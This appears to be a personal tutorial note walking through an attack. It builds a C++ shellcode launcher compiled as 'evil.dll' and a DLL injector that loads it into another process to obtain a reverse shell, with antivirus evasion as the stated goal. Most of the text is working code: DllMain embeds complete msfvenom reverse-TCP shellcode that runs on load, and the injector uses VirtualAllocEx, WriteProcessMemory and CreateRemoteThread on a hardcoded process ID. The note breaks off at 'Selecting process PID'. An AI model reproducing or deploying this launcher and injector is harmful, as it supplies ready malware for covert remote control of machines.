Execute Shellcode Launcher with Dll Injection
Objective
Create custom shellcode launcher to execute reverse shell payload and compile it as evil.dll.
Create a dll injector and inject evil.dll to a process.
Get a reverse shell.
Ok but why ?
Antivirus evasion and/or make it hard to detect.
Shellcode Launcher
You can read more about shellcode launcher from my previous note:
C++: Shellcode Launcher#include <string>
#include <windows.h>
int main(){
char shellcode[] = ""; //shellcode
void *memPtr= VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //yer ayir
memcpy(memPtr, shellcode, sizeof shellcode); //bellege shellcodeu yerlestir
((void(*)())memPtr)(); //shellcodeu aktive et
}
Add a DllMain function to execute shellcode launcher just in the when DLL is injected.
#include <windows.h>
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
//execute beacon payload when dll is attached.
if (ul_reason_for_call == DLL_PROCESS_ATTACH){
//msfvenom -p windows/x64/shell_reverse_tcp LHOST=... LPORT=... -f c
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x01\x69\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
void *memPtr= VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //allocate memory for shellcode
memcpy(memPtr, buf, sizeof buf); //put shellcode into memory
((void(*)())memPtr)(); //execute the shellcode
}
return TRUE;
}
DLL Injector
You can read more about dll injection from my previous note:
C++: Dll Injection#include <Windows.h>
int main()
{
// path to our dll
LPCSTR DllPath = "C:\\users\\engin.demirbilek\\Desktop\\evil.dll";
// Open a handle to target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 11120);
// Allocate memory for the dllpath in the target process
// length of the path string + null terminator
LPVOID pDllPath = VirtualAllocEx(hProcess, 0, strlen(DllPath) + 1,
MEM_COMMIT, PAGE_READWRITE);
// Write the path to the address of the memory we just allocated
// in the target process
WriteProcessMemory(hProcess, pDllPath, (LPVOID)DllPath,
strlen(DllPath) + 1, 0);
// Create a Remote Thread in the target process which
// calls LoadLibraryA as our dllpath as an argument -> program loads our dll
HANDLE hLoadThread = CreateRemoteThread(hProcess, 0, 0,
(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32.dll"),
"LoadLibraryA"), pDllPath, 0, 0);
// Free the memory allocated for our dll path
VirtualFreeEx(hProcess, pDllPath, strlen(DllPath) + 1, MEM_RELEASE);
return 0;
}
Action and Results
Selecting process PID


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